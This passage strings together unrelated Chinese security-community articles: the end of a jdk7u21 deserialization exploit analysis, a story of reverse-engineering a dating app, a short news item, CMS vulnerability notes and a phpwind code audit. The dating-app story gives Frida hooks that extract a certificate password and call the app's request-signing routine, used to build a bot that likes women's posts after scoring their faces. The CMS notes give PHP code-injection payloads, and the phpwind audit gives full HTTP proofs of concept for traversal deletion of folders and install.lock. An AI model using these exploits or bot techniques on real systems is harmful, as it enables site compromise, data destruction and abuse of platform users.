// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
这里调用TemplatesImpl.hashCode()方法来得出hash值然后进行固定的异或操作，得出的最终结果进行返回，下面的截图中就是此次运算得出的hash值
接下来通过indexFor()函数 得到其hash索引 这里返回的索引值是12，并将值符給变量i
这里传入的table.legth，table是一个Entry数组，用来存放我们通过map.put()传入的键值对，并作为后续判断新传入的键值对和旧键值对是否重复的依据
/**
* Returns index for hash code h.
*/
static int indexFor(int h, int length) {
return h & (length-1);
}
接着就开始了第一次判断，首先当前table变量指向的Entry对象是空的，所以自然e 为null 在这里就不符合了，所以循环体内的代码不会执行
for (Entry<K,V> e = table[i]; e != null; e = e.next）
跳过for循环体，然后计数器自增，并将此TemplatesImpl对象本身，还有其Hash值和索引放入到之前说到的table变量中。
接下来就开始第二次循环了，第二次传入的key就是触发TemplatesImpl.newTransformer()的媒介
Proxy对象了这个对象里有我们特意封装进去的AnnotationInvocationHandler对象。
接下来问题就来了首先for循环中要满足e不为空，这就要求这次循环并计算Proxy对象从而得出的Hash值和Hash索引必须和上一次循环中的TemplatesImpl对象相同，这样才能在`Entry<K,V>
e = table[i]`这一步中，从table中取到对应索引的对象赋值給e，从而满足`e != null` 。
for (Entry<K,V> e = table[i]; e != null; e = e.next)
那怎么才能让两个连类型都不相同的对象通过运算却能得出一样的hash值呢？接下载关键点就来了，也就是我们为什么生成Proxy对像时要传入AnnotationInvocationHandler对象。
在计算Proxy对象的hash值的时候 我们看到最终是通过调用Proxy.hashCode()来计算hash值
Proxy是一个动态代理对象，所以经过对调用方法名称的判断，最终调用AnnotationInvocationHandler.hashCodeImpl()方法
以下是hashCodeImpl方法的实现,此时的var2是一个Iterator对象，用来遍历memberValues对象中存储的键值对
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator();
var2.hasNext();
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
可以看到memberValues中只有一个键值对就是，就是我们在初期通过反射生成AnnotationInvocationHandler对象时传入的HashMap对象中的那个键值对
key是一个字符串"f5a5a608" Value值适合第一次循环时用来计算hash值的同一个TemplatesImpl对象
我们在看一看var3此时的值。
AnnotationInvocationHandler计算hash最关键的是这一段代码。简单来说就是127乘var3
key的hash值，然后和var3的value值的hash值进行异或操作
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
下面贴出memberValueHashCode方法的关键代码，返回var3的value值也就是TemplatesImpl对象的Hash值。
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {
return var0.hashCode();
至此所得到的结果都是和第一次循环时得到的Hash值相同，但接下来就要解决如果在经过与`127 *
((String)var3.getKey()).hashCode()`进行异或操作后，保持结果不变。
我们知道0和任何数字进行异或，得到的结果都是被异或数本身。所以我们要让`127 *
((String)var3.getKey()).hashCode()`的结果等于0
也就是(String)var3.getKey()).hashCode()的值要为零
还记得我们var3的 key是什么么？是一个字符串 值为"f5a5a608" 这个字符串非常有意思我们看一下这个字符串的hash值是多少
结果是0，完全符合我们的要求，这样127乘以0自然结果是0，0在同TemplatesImpl对象的hash值进行异或，得到的结果自然也是TemplatesImpl对象的hash值本身。这样就符合我们的要求。通过了LinkedHashMap.put方法中的for循环的判断，由于hash值相同，所以计算出的索引相同，e的值就为之前的TemplatesImpl对象，所以e不为null
结果为true
for (Entry<K,V> e = table[i]; e != null; e = e.next)
接下来好要通过if 判断中的前两个条件，因为&& 和|| 有短路效果，所以这三个条件我们要符合e.hash == hash为true (k = e.key)
== key为flase
if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
首先e.hash ==
hash是将第一次循环时的TemplatesImpl对象的hash取出同第二次循环时TemplatesImpl对象的hash进行对比，本来就都是同一个对象，所以自然时相同的，所以结果为true
(k = e.key) == key
将第一次循环时的key取出和第二次循环时的key做比对看是否相同，第一次循环的key是TemplatesImpl对象，而第二次循环时key时Proxy对象，所以结果为flase
如此这般，我们就通过了前两个判断条件，接下来自然就会执行key.equals(k)从而调用TemplatesImpl.newTransformer()方法并最终触发我们的恶意代码
至此jdk7u21漏洞原理分析完毕
## 3\. 总结
此次Jdk7u21
payload中作用到的所有类，均存在于JDK自身的代码中，无需再调用任何第三方jar包，所以当时爆出漏洞时影响极大。只要目标系统中使用的jdk版本并存在反序列化数据交互点就会存在远程代码执行漏洞。漏洞的触发点在LinkedHashSet，其实我们看代码的时候可以看到LinkedHashSet里面的方法都是调用了其父类HashSet中的方法，但是之所以不直接用HashSet的原因是LinkedHashSet里数据的下标和我们插入时的顺序一样，而HashSet顺序就不一样了。通过Hash值的匹配，然后执行到key.equals(k)最终执行到TemplatesImpl.newTransformer()方法
* * * | 社区文章 |
# 网恋选我，我撒网贼6
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 声明
1. 本文纯属虚构，若有雷同，纯属巧合。
2. 本文及本人并未对任何社区进行攻击、扰乱等行为。
3. 本文中出现的技术仅做讨论、研究之用，不以任何形式开放、出售与 APP 相关的源代码。
4. 本文中出现的数据、代码、截图均已做脱敏处理。
## 前传
这个事情要从很久很久以前说起…
我有一个朋友，母胎单身，去年不知道从哪拱到了一棵大白菜，感觉人生到达了巅峰。
有一次，我与他相遇夜宵，凑了一局。 两杯啤酒顿顿顿下肚，只见他脸色红润，情绪激昂，只差一匹汗血宝马就可以出征长沙，血战沙场。
于是大放厥词，口出狂言道： 忆往夕，吾已鳏独二十有五载，看今朝，新春必携伴归乡探亲。
……
很可惜的是，可能是因为没有经验或者性 格不合，两人还没到过年就吹了，老死不相往来。
那几天，他悲痛欲绝，哀哀戚戚，无心工作，借酒消愁，感觉人生已经到达了低谷。
然后我去安利他看爱情公寓。 喜剧，也许能缓解一下心情。
后来突然有一天跟我说要他练级，练到 99 级！
咱也不知道咋练、练啥，咱也不敢问。。。
……
这货上网搜了一下陌生人社交软件，下载了一个比较热门的 APP。
练级第一天，点击匹配，匹配成功，开始聊天，于是：
然后就没然后了，他说这是他人生中遇到的第一次滑铁卢，感觉人生已经到达了低谷中的低谷。
练级第二天，看到社区里有漂亮的小姐姐发自拍，能收到好多赞和评论，真是一群有趣的灵魂啊，于是也决定自己发一张。
练级第三天：
不禁令人感慨，人生呐，就是如此的起起落落落落落落。
然后呢，就又来找我了，让我帮帮他。
这位胸 dei，谈恋爱俺不会，聊天俺也不会，那我只能手动帮你点个赞了。
这位仁兄一听，灵机一动，道:
“那你帮我搞个软件，能自动帮别人点赞也行。高手靠实力，新手靠运气，只要我给一万个人点赞，总有那么几个人能看到我的自拍，然后被我那无处安放的魅力所吸引的。”
嗯, 他说的好像有道理。
于是有了正文。
## 正文
因年代久远，当时的分析与现在 APP 的协议已经很多对不上，我只能尽量复盘。
大伙们，编故事真的不容易。
……
需求很明确：
1. 从社区里获取小姐姐们的动态
2. 点赞
### 抓包
这个 `soeasy` ，主要是抓获取动态和点赞的两个请求。
首先打开 `Charles`，然后给把代理端口反向转发到手机里。
`adb reverse tcp:8888 tcp:8888`
再给手机设置代理
`adb shell settings put global http_proxy 127.0.0.1:8888`
结果发现一挂上代理就无法正常发送请求。
这种情况一般有几种可能：
1. SSL Pinning 证书绑定
2. 代理检测
3. SSL 双向校验
根据我多年的经验，第一判断就是 `sslpinning`，于是我用 3 秒钟时间打开 `objection`， 执行 `android sslpinning
disable`。 关于 `Frida` 和 `objection`
的安装和使用，我的另一位母胎不单身的好友已经写过[多遍](https://www.anquanke.com/post/id/197670)，可以参阅。
然后再次抓包，然鹅不管用。
那么先观察一下抓包的情况，发现 `Charles` 并没有出现 SSL 错误的提示，可以完整的看到请求的报文。
然鹅，`response` 却返回 400。由此可得，这是一个 SSL
双向校验，因为代理可以正常拦截到发送包，说明不是代理检测，如果有代理检测，那么这个数据包并不会通过代理发送出去。而且可以正常解密，更是说明也没有做证书绑定。
因为做双向验证，就需要在客户端里放一个证书，那么直接在 APK 里的 `assets` 中就可以找到一个 `.p12` 和一个 `.cer`
的文件，那么这两个就是客户端的证书了。
但是想要使用这个证书来与服务端通信，还需要一个密码。
一般来说，我们可以静态分析代码，搜索 `KeyStore` 或者 `client.p12` 来逆向分析找到密码，然鹅，这个 APP 做过加固，看不到代码。
那么可以采用更加高效的方式： `Hook`。
Hook 的原理不再多说，可参阅 [《Android
动态分析攻防小结》](https://mp.weixin.qq.com/s/YwwcAxRslDCXu4IEOwl8Aw)。
直接上 `Frida` 脚本:
Java.perform(function () {
console.log("Hooking...");
var PKCS12KeyStoreSpi = Java.use("com.android.org.bouncycastle.jcajce.provider.keystore.pkcs12.PKCS12KeyStoreSpi");
var String = Java.use("java.lang.String");
PKCS12KeyStoreSpi.cryptData.implementation = function(a, b, c, d, e){
console.log(String.$new(c));
return this.cryptData(a, b ,c ,d ,e);
}
});
拿到密码之后，就可以打开 `Charles` 的 `SSL Proxy Settings` 里导入 `p12` 证书了，随后在抓包的时候，`Charles`
会提示你输入密码。 而想要在 `Python` 脚本里使用，还需要使用 `openssl` 转换成 `pem` 证书，然后就可以像这样正常发起
`Https` 请求了:
response = requests.post(url="https://{}{}".format(ip, path), headers=headers, data=data, verify=False, cert="./client.pem")
于是，终于跨过抓包这个坎了。
### Sign
一款安全性合格的产品，请求里必然会有 sign 字段，可以防止篡改的同时还能提高逆向分析的难度。
抓包分析之后发现请求的的 `headers` 里头有一个 `APISign` 字段，每一个请求都会通过这个字段对当前的数据以及时间戳进行校验。
按照常规套路，就是反编译之后搜索相关字符串，然后找到加密算法的地方，抠出来。
然鹅，这个 APP 是加固的，首先尝试一下[快速脱壳](https://github.com/hluwa/FRIDA-DEXDump)。
结果好像还不错，`dump` 下来很多 `dex`，可以开始一顿搜索了。
然鹅：
搜索并没有得到结果，我以为是字符串进行了加密，然后手动打开这堆了 `dex` 文件，也搜索了其他的一些关键字、API，发现确实没有。
另外发现应该少了一些代码，这说明有一个重要的 `dex` 可能没有脱下来
逆向分析就跟股市一样，喜欢起起落落落落落落。短时间内也不纠结为什么脱不下来了，来一次不脱壳的纯动态分析逆算法。
无法脱壳下的动态分析口诀只有两个字：猜、试。 说详细一点，就是信息收集之后一步一步的进行猜想和验证。
#### 一
因为 `APISIGN` 是一个 32 位长的 `hex` 字符串，那么可以初步猜想，这可能是个 `MD5`, `SHA1`
之类的摘要算法。那么这个时候，如果开发者使用了系统自带的摘要 `API` 那我们就可以通过 `Hook` 来得到计算之前的数据，从而倒推出签名算法。
关键类: `java.security.MessageDigest`， 通过对这个类的 `getInstance`, `update`, `digest`
方法进行 `hook`， 可以得到所有调用系统 API 的摘要算法、摘要数据、摘要结果。 代码这里不给了，自己实现一份不难。
想象很美好，现实却很残酷，通过这个方法并没有成功 `Hook` 到与请求数据相符合的调用结果，那么基本上这个算法就是自己实现的了。
#### 二
大部分 APP 的网络请求，都是通过调用第三方网络框架发出去的，那么，我们可以先尝试一下能不能找到这款 APP 所使用的网络请求框架。
第一个肯定是龙头：`OKHttp`
因为之前有写过现成的针对 `OKHttp` 的抓包、解密工具，所以我就直接尝试启动了一下，结果:
[*OKHttp-InfoIntercept] not found RealInterceptorChain class
[*OKHttp-PacketIntercept] not found CallServerInterceptor class
找不到预设的类名，可能是因为混淆或者 APP 在集成框架的时候，很多人会选择修改包名，因为工具之前没有写智能查找的功能，那么可以使用 `objection`
手动查找一下。
使用命令: `android hooking search classes Interceptor`， 先搜一下带 `Interceptor`
的类名，因为一般来说可以通过他们，直接拦截到发包的调用。
结果发现，还是可以找到 `okhttp` 的类的。
那么将找到的这几个类进行一个 `android hooking watch class`。在发送一个请求，发现:
可以成功拦截到调用。那么，观察调用栈:
执行 `android hooking watch class_method
okhttp3.logging.HttpLoggingInterceptor.intercept --dump-args --dump-backtrace
--dump-return`
于是我们得到了 `RealInterceptorChain` 的真正类名
很多时候，`OKHttp` 对请求的加密、`Sign` 都是在开发者自定义的 `Interceptor` 里完成的，而
`RealInterceptorChain` 这个类，是贯穿全部 `Interceptor` 的一个关键点，具体详情可以阅读 `OKHttp` 的源码。对其
`proceed` 方法进行 `Hook` 在调用栈中即可看到所有的 `Interceptor`。
于是: `android hooking watch class_method okhttp3.internal.http.f.proceed
--dump-args --du mp-backtrace --dump-return`
运气很不错，一下子就打出来了一条 APP 包名代码里的调用栈，而且还是 `pkgname + .net` 的包名，一看就是用于网络请求的，信息情报加一：
代码里有一个 .net 的包, 而且这个包并没有被脱下来。这个包基本上一看就知道很关键了。
那么再继续对找到的这个 `Interceptor` 类进行 `hook`， 仔细观察返回结果以及调用栈。
很可惜的是，并未在返回结果里找到与请求相符合的 `sign` 字符串，这说明，`sign` 的算法方法并不在这个类里面。
调用栈里也没有什么可疑的类或者方法，可以说这条线在这里已经断了。
#### 三
从二中，我们收获到了一个情报: 未脱下来的代码中有一个 `pkgname + .net` 的包，那么可以先搜索一下，看看这个包中都有一些什么类：
[usb] # android hooking search classes xxx.xx.xxx.net
...... # 具体的类名就不列了
......
Found 54 classes
排除掉一些明显不相关的类，剩下的类不多，只有十几个。一个一个对其进行尝试 `hook`，功夫不负有心人，在一个没有做符号混淆的类中发现了一个方法:
那么观察一下这个方法的输入输出
看到这个，我就觉得基本上已经结束了。
再详细分析一下输入参数，分别是 URL PATH、用户 ID、时间戳等信息，都是已知或者可以自己生成的参数，返回结果就是 HTTP 报文里的
`APISign`。
至于为什么这么方法和类没有做符号混淆，原因是这个算法是在 `SO` 里面的，需要在混淆配置里面排除。
由此，我们又得到了一条新的经验： 下次 `Hook` 不到算法就直接看 `SO`。
#### 四
算法调用方法有了，那我们还需要自己逆算法么？no。
`Frida-RPC`，懒人必备，在也不用手撕 `OLLVM`, `VMP`。
rpc.exports = {
sign: function (xxx1, path, xxx2, t, xxx3, xxx4) {
var result;
Java.perform(function () {
result = xxxxxxx.yyyyyyySign(context, xxx1, path, xxx2, t, xxx3, xxx4);
});
return result;
}
};
sign = script.exports.sign(xxx1, path, xxx2, t, xxx3, xxx4)
完全 OK。 然后再构造一下包体，编码一下逻辑，一个无情的自动点赞机器人就诞生了。
## 正正文
作为一个新世纪的颜值主义者，虽然这哥们长得丑，但我还是希望他能找到一个漂亮的女朋友。于是我添加了一段人脸识别和打分的代码…
原本的逻辑是这样的:
遍历动态列表 -> 是个女的 -> 点赞
然后我加上了 `F4ce+-` 和 `B4ldu` 的 AI 颜值评分系统之后，逻辑是这样的：
遍历动态列表 -> 是个女的 -> 识别动态里的全部人脸 -> 评分 -> 大于80分 -> 点赞 -> 关注
最终效果咋样咱也不知道，反正这哥们那几天就抱着个手机在那一直傻乐，前几天跟我说准备跟新的女朋友去旅游，咱也不知道这是哪个新女朋友，咱也不敢问。
## 总结
后来我拿这哥们的账号提取了一点数据，事实证明，`B4ldu` 的颜值评分比较靠谱。 | 社区文章 |
# Cardplanet管理员获罪9年监禁
##### 译文声明
本文是翻译文章
原文地址：<https://www.bleepingcomputer.com/news/security/owner-of-cardplanet-credit-card-market-gets-9-years-in-prison/>
译文仅供参考，具体内容表达以及含义原文为准。 | 社区文章 |
**前言**
共计4个点，都是比较常规的，均提交CNVD。
**正文**
还是以功能点为主，通读代码太多了，打工人没那么多时间。
一、文件上传
属于添加类型getshell
添加php后缀
正常上传图片，修改文件名并内容后添加代码
分析
跟进_upload
跟进_upload_init
调试一下看到从缓存中获取了白名单
二、代码执行
属于是配置插马，比较常规
伪静态设置：
url后缀添加test',phpinfo(),//
分析
根据路由找到对应的功能
获取数据未经过过滤
跟进update_config
可以看出通过var_export转义的\'经过stripslashes删除了\又变成了'
从而导致了插入
三、路径穿越
1.文件下载
后台备份下载backup和file可控
成功跨目录下载s.txt
2.文件夹删除
后台删除备份back_up可控
成功跨目录删除文件夹s
**结语**
代码审计图一乐，还是回电子厂上班踏实。。。 | 社区文章 |
## 前言
在审计某CMS代码时，发现后台存在一处比较有意思的远程代码执行漏洞，这里跟大家分享下
## 漏洞分析
漏洞触发点位于下图代码段中
见上图803行处，存在一处fwrite方法：
程序会将修改日志$log变量中的值保存到'/integrate_' . $_SESSION['code'] .'_log.php'文件中
接下来看一下$log变量是如何拼接的：
$log变量是由如下一个或多个变量控制:$del_list、$rename_list以及$ignore_list
当这个三个变量存在时，则将其值拼接到$log变量中
这里着重看一下$ignore_list变量，分析代码可以发现，$ignore_list变量由下述代码中赋值得来
由上图代码可见$ignore_list变量由数据库中users表user_name数据组成。其实$ignore_list就是users表中flag等于4的所有user_name字段组成的列表
见上图，当请求中act参数值为sync时，并且当users表中存在flag=4的行时，触发此处$ignore_list赋值操作，将users表中flag等于4的所有行的user_name字段值插入$ignore_list列表
当$ignore_list列表非空时，触发同样在此if分支(请求中act参数值为sync的这个分支)中的漏洞点
上图红框处，$ignore _list列表中的用户名被取出，用来拼接$log变量，随后$log变量被写入'/integrate_ '.
$_SESSION['code'] . '_log.php'文件中
程序并未对会员用户名进行严格过滤，导致可以写入含有payload的用户名，例如
当我们将含有恶意payload用户名的用户flag设置为4时，通过访问
<http://127.0.0.1/admin/integrate.php?act=sync>
即可将含有payload用户名写入'/integrate_' . $_SESSION['code'] . '_log.php'文件中
接下来分析下被插入payload文件的位置与名字
可见上图，这个文件位置很好定位，位于ROOT_PATH . DATA_DIR路径，即为data文件夹中。
关于文件名，中间存在一个$_SESSION['code']变量，此处变量是可以设置的，但是如果我们不进行特殊设置的化，这个变量默认是空，因此我们并不需要额外的设置这个变量，默认让它为空就可以了，这样以来被插入后门的文件就变成
data/integrate__log.php
接下来分析下，如何使users中我们构造的恶意用户flag为4
默认情况下，会员用户flag为0，当会员整合功能被使用时，其他应用商城的会员被整合合并到这个cms时，当存在一些问题需要忽略这个用户时，flag才会被设置为4
如果使用这种方法，则需要攻击者自行搭建一个此cms允许合并数据的商城程序，在这个商城程序中构造一个会员，当使用会员合并功能时，使之出现问题，从而使得被合并的会员flag为4
利用会员整合功能修改flag值是一种途径，然而有一种更简便的方法。此cms程序后台存在可以管理数据库的功能，我们可以通过这个功能直接把用户名为”<?php
phpinfo(); /*”的这条数据中flag字段设置为”4”，见下图
这样一来，当访问
<http://127.0.0.1/admin/integrate.php?act=sync>
时，该数据将会被取出，含有payload的用户名将会被写入日志文件中
文件被访问时，payload执行 | 社区文章 |
代码来源：<http://down.chinaz.com/soft/33130.htm>
更新日志：
1. 打包了2017年4月1日之前所有安全补丁
2. 内置了阿里云滑动插件，免费免注册阿里云账号
### 0x01 前言
审计该CMS缘起于一个师傅的询问 之前实战中似乎遇到过
也在[先知的众测平台](https://help.aliyun.com/knowledge_detail/40065.html?spm=a2c0h.8049718.0.0.RHaEWk#h2-u6F0Fu6D1Eu6536u96C6u8303u56F44)上看到过
故决定测一下。
### 0x02 审计过程
#### 0x02_1 任意文件夹删除
看到`/src/applications/backup/admin/BackupController.php`的105-119行代码如下：
public function batchdeleteAction() {
$files = $this->getInput('files');
!$files && $this->showError('BACKUP:name.empty');
foreach($files as $value){
$value = WindSecurity::escapePath($value);
if (!$value) continue;
if(preg_match('/^(\w{8}_pw_[^_]+_\d{14})(.*)(sql|zip)$/i', $value)){
$deletePath = $this->_bakupDir . $value;
WindFile::del($deletePath);
}elseif (preg_match('/^\w{8}_pw_([^_]+)_(\d{14})/i', $value)) {
WindFolder::rm($this->_bakupDir . $value,true);
}
}
$this->showMessage('success');
}
程序为了防止删错文件 通过正则匹配判断备份目录是否符合要求 这点是没有问题的
可以看到`$value`的值经过`WindSecurity::escapePath()`函数处理过。跟随定位到`/wind/utility/WindSecurity.php`文件
可以看到`escapePath()`函数如下
public static function escapePath($filePath, $ifCheck = false) {
$_tmp = array("'" => '', '#' => '', '=' => '', '`' => '', '$' => '', '%' => '', '&' => '', ';' => '');
$_tmp['://'] = $_tmp["\0"] = '';
$ifCheck && $_tmp['..'] = '';
if (strtr($filePath, $_tmp) == $filePath) return preg_replace('/[\/\\\]{1,}/i', '/', $filePath);
throw new WindException('[utility.WindSecurity.escapePath] file path is illegal');
}
这个神奇的安全类居然没有过滤`..` 而且正则的后面`(.*)`可以为任意字符 这意味着可以遍历到上级目录去。
利用点如下：
Poc:
POST /admin.php?m=backup&c=backup&a=batchdelete HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/admin.php?m=backup&c=backup&a=restore
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 84
Connection: close
Cookie: 9ef_lastvisit=0%091547712655%09%2Findex.php%3Fm%3Dmisc%26c%3DwebData%26a%3Darea; 9ef_visitor=UIzmP9UFWEa6BrpY24n7UB%2BT8HkoiOLDrvMx4yhNY7U%3D; csrf_token=bfe6c3a5c955a11a; 9ef_winduser=N90DiEH5ldKAr2U%2BKaQlsfPZZoPgw4PPm%2F9gWEJ3u8OSExCfFS5PAA%3D%3D; 9ef_AdminUser=auLskvWgj4Bb4leTWIFyo0wAM0LhMfi0DwhGpttA4Psta8XUjXetn%2BllYwDuy6SU
files%5B%5D=YXYJjQpA_pw_9-0-2_20190117162037/../../../coolcat/&csrf_token=bfe6c3a5c955a11a
效果：
（删除站点根目录下的文件）
相同的点还有以下几处：
Poc：
POST /admin.php?m=appcenter&c=app&a=delFolder HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/admin.php?m=appcenter&c=app&a=install
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 57
Connection: close
Cookie: 9ef_lastvisit=436%091547715313%09%2F; 9ef_visitor=IczumGLjUQqwd9F1%2Fv%2BE862sQVayRcCZJQ8bwpGYx8Cweirvjc4dIQ%3D%3D; csrf_token=bfe6c3a5c955a11a; 9ef_winduser=N90DiEH5ldKAr2U%2BKaQlsfPZZoPgw4PPm%2F9gWEJ3u8OSExCfFS5PAA%3D%3D; 9ef_AdminUser=auLskvWgj4Bb4leTWIFyo0wAM0LhMfi0DwhGpttA4Psta8XUjXetn%2BllYwDuy6SU; _ac_624db129=4
csrf_token=bfe6c3a5c955a11a&folder=demo/../../../coolcat/
（删除站点根目录的coolcat文件夹）
#### 0x02_2 任意文件删除
由于前面的任意文件夹删除漏洞在删除时都有个`isDir()`函数来判断是否为文件夹 导致无法被绕过
所以当笔者看到`/src/applications/appcenter/admin/AppController.php`的`delFileAction()`函数
（182-188行）
public function delFileAction() {
$file = $this->getInput('file', 'post');
if ($file && file_exists(ATTACH_PATH . $file)) {
WindFile::del(ATTACH_PATH . $file);
}
$this->showMessage('success');
}
这里没有过滤函数 只要判断文件存在就直接调用`WindFile::del()`迫不及待的想去试试是否实现任意文件夹删除 结果发现根本无法正常删除。。。
将`ATTACH_PATH . $file`dump出来后发现开发在写这个功能的时候弄错了。
如图所示 `ATTACH_PATH`的值是根目录下的`attachment/`文件夹 而此处输入的`$file`是根目录下`data/tmp/`里的文件
两者根本无法拼接 该功能对于用户而言约等于没有。（用户可将该文件第185行中的`ATTACH_PATH .`删除修复该问题）
搞清楚这个之后按照规则拼接以下（如上图）即可完成任意文件删除的攻击。
效果：
Poc(删除install.lock文件)：
POST /admin.php?m=appcenter&c=app&a=delFile HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/admin.php?m=appcenter&c=style&a=install
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 76
Connection: close
Cookie: 9ef_lastvisit=3598%091547725340%09%2F; 9ef_visitor=ap0IOPKUvYYq36K7iFjkgcTw2NwXzKWjwRjxhUs8O5I%3D; csrf_token=bfe6c3a5c955a11a; PHPSESSID=39e8b04d7bf8e9d8823e443d82be7aa1; 9ef_AdminUser=auLskvWgj4Bb4leTWIFyo0wAM0LhMfi0DwhGpttA4Psta8XUjXetn%2BllYwDuy6SU
csrf_token=bfe6c3a5c955a11a&file=/../data/install.lock
#### 0x02_3 代码执行
通过后台=>门户=>模板管理=>添加模块 插入自定义的代码后发现代码被写入了数据库。
但是通过后台=>门户=>模板管理=>调用代码时意外发现代码被执行了 随后在群里分享时才被小伙伴提醒说撞洞了 故此处不再累赘分析。
* [x] [phpWind v9存在命令执行漏洞](http://www.itdaan.com/blog/2018/03/31/14527e26cbaf27ddcc7996ab184051a6.html)
### 0x03 总结
本次测试遇到的第一个问题是phpwind官网居然不能下载了？（不知道已经停更了。）直到发现小伙伴提醒代码执行这洞撞洞了去百度才知道这个问题
好在前面的洞是新的。前台本来计划也该看一下的 现在看来也没有必要了 以后测试前还是先Google看一下好 这里总结一下如何日穿phpwind。
前台=>后台:
* [x] [PHPCMS v9 Getshell（apache解析）漏洞](https://www.uedbox.com/phpcmsv9-exp/)
* [x] [phpwind V9 gbk 20130227 宽字符SQL注入](https://www.seebug.org/vuldb/ssvid-89515)
进入后台后Getshell可通过本文`0x2_3`实现 服务器格盘可通过任意文件删除实现。 | 社区文章 |
**作者：天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/rQV81nAsIhkBgiOZA0_01A>**
### 一、内核是什么？
内核是操作系统的核心部分。内核负责管理计算机的硬件资源，并实现操作系统的基本功能。内核是操作系统中最重要的部分，它是操作系统与硬件之间的桥梁。内核可以被看作是操作系统的“心脏”，负责控制和管理计算机系统的所有硬件和软件资源。不同的操作系统有不同的内核，比如Linux操作系统有Linux内核，Linux内核是Linux操作系统的核心部分，它是由C语言编写的程序，并且是一个开源软件，它的源代码可以自由下载和修改。Linux内核提供了多种功能，包括内存管理、进程管理、文件系统支持、网络通信等，Linux内核的设计具有高度的可扩展性和灵活性，可以应对各种应用场景和硬件平台。
### 二、内核漏洞
有代码就有漏洞，内核也不例外。内核漏洞是操作系统内核中的存在的安全漏洞，这些漏洞可能导致系统被恶意软件入侵或攻击者控制，并可能造成数据泄露、系统瘫痪等严重后果。例如：攻击者可能会利用内核漏洞来绕过系统安全保护，提升权限，从而获取用户敏感信息，或者在系统中安装恶意软件，损坏系统数据或瘫痪整个系统。著名漏洞“dirty
cow”(脏牛漏洞)影响之广，从2007年到2018年之间的所有发行版都受其影响，让全世界数百万台设备暴露在威胁当中。
如图为近10年漏洞报送数量，表中可知Linux内核漏洞数量一直处于高位，基本每年在100以上，尤其2017年漏洞数量最多，达到449个之多。
因此及时发现，修复内核漏洞非常重要。通常，操作系统厂商会定期发布补丁来修复内核漏洞。同时为了减小漏洞发现造成的危害，Linux内核采用了多种技术来提高漏洞利用的难度来保护系统安全。例如：SMEP保护、SMAP保护、KASLR保护、KPTI保护。但即使是这么多保护，也无法安全保护内核，漏洞可以轻松绕过这些保护，达到提权效果。下面介绍这些年出现Linux内核保护技术以及针对这些保护技术的绕过方法。
### 三、Linux内核保护与绕过
#### 1、KASLR 保护
linux内核（2005年）开始支持KASLR。KASLR（Kernel Address Space Layout
Randomization）是一种用于保护操作系统内核的安全技术。它通过在系统启动时随机化内核地址空间的布局来防止攻击者确定内核中的精确地址。即使攻击者知道了一些内核代码的位置，也无法精确定位内核中的其他代码和数据，从而绕过系统安全保护。在实现时主要通过改变原先固定的内存布局来提升内核安全性，因此在代码实现过程中，kaslr与内存功能存在比较强的耦合关系。
随机化公式： 函数基地址 +随机值=内存运行地址
比如先查看 entry_SYSCALL_64函数的基地址为 0xffffffff82000000
它运行时的内存地址为0xffffffff8fa00000
将运行地址减函数基地址得到随机值变量0xda00000(0xffffffff8fa00000-0xffffffff82000000=0xda00000)
，这0xda0000就是随机值，每次系统启动的时候都会发生变化。
在有kaslr保护的情况下，漏洞触发要跳转到指定的函数位置时，由于随机值的存在，无法确定函数在内存中的具体位置，如果要利用就需要预先知道目标函数地址以及shellcode存放在内存中的地址，这使得漏洞利用比较困难。
针对这种保护技术，目前比较常规的绕过方法是利用漏洞泄露出内核中某些结构体，通过上面计算方法算出内核基地址,有了基地址后就可以计算想要的函数地址了。
如CVE-2022-0185，是一个提权漏洞,漏洞成因是 len > PAGE-2-size 整数溢出导致判断错误，后面继续拷贝造成堆溢出。
diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625..24ce12f0db32e 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
param->key);
}
- if (len > PAGE_SIZE - 2 - size) //这里存在整数溢出，后面的拷贝会造成堆溢出
+ if (size + len + 2 > PAGE_SIZE)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
函数调用路径：_x64_sys_fsconfig() --->
vfs_fsconfig_locked()-->vfs_parse_fs_param()-->legacy_parse_param()，vfs_parse_fs_param()中的函数指针定义在legacy_fs_context_ops函数表中，在alloc_fs_context()函数中完成filesystem
context结构的分配和初始化。
在legacy_parse_param 函数：linux5.11/fs/fs_context.c: legacy_parse_param
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;
··· ···
··· ···
switch (param->type) {
case fs_value_is_string:
